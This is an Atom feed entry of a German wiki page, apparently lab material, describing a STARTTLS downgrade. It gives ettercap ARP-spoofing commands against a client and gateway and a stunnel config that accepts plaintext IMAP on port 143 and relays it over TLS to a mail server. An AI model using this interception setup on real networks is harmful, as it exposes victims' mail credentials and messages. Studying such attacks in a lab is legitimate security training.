https://wiki.ixheim.de/index.php?action=history&feed=atom&title=STARTTLS_DOWNGRADE_STUNNEL 2026-05-15T06:40:06Z Versionsgeschichte dieser Seite in Xinux Wiki MediaWiki 1.35.1 https://wiki.ixheim.de/index.php?title=STARTTLS_DOWNGRADE_STUNNEL&diff=64216&oldid=prev 2025-08-10T20:20:07Z

<p>Die Seite wurde neu angelegt: „=Benötigte Paket= *apt-get install ettercap-graphical *CLIENT=10.0.10.55 *GATEWAY=10.0.10.1 *INTERFACE=eth0 =Befehl= *ettercap -i $INTERFACE -Tq -M ARP /$CLIE…“</p> <p><b>Neue Seite</b></p><div>=Benötigte Paket=<br /> *apt-get install ettercap-graphical<br /> *CLIENT=10.0.10.55<br /> *GATEWAY=10.0.10.1<br /> *INTERFACE=eth0<br /> =Befehl=<br /> *ettercap -i $INTERFACE -Tq -M ARP /$CLIENT// /$GATEWAY//<br /> <br /> '''optionen'''<br /> -i eth0 = Interface<br /> -T = Textmodus<br /> -q = still <br /> -M arp = ARP Spoofing<br /> =STUNNEL=<br /> * cat /etc/stunnel/imap-stunnel.conf <br /> &lt;pre&gt;<br /> ; stunnel als TLS-Client -&gt; IMAPS<br /> [imap]<br /> client = yes<br /> <br /> ; Lokal nur auf Loopback lauschen (IMAP im Klartext)<br /> accept = 0.0.0.0:143<br /> <br /> ; Ziel: echter Mailserver auf IMAPS/993<br /> connect = mail.example.com:993<br /> <br /> ; Zertifikatsprüfung<br /> CAfile = /etc/ssl/certs/ca-certificates.crt<br /> verifyChain = yes<br /> checkHost = mail.example.com<br /> OCSPaia = yes<br /> <br /> ; SNI erzwingen (wichtig bei Multi-Certs)<br /> sni = mail.example.com<br /> &lt;/pre&gt;</div>

Thomas.will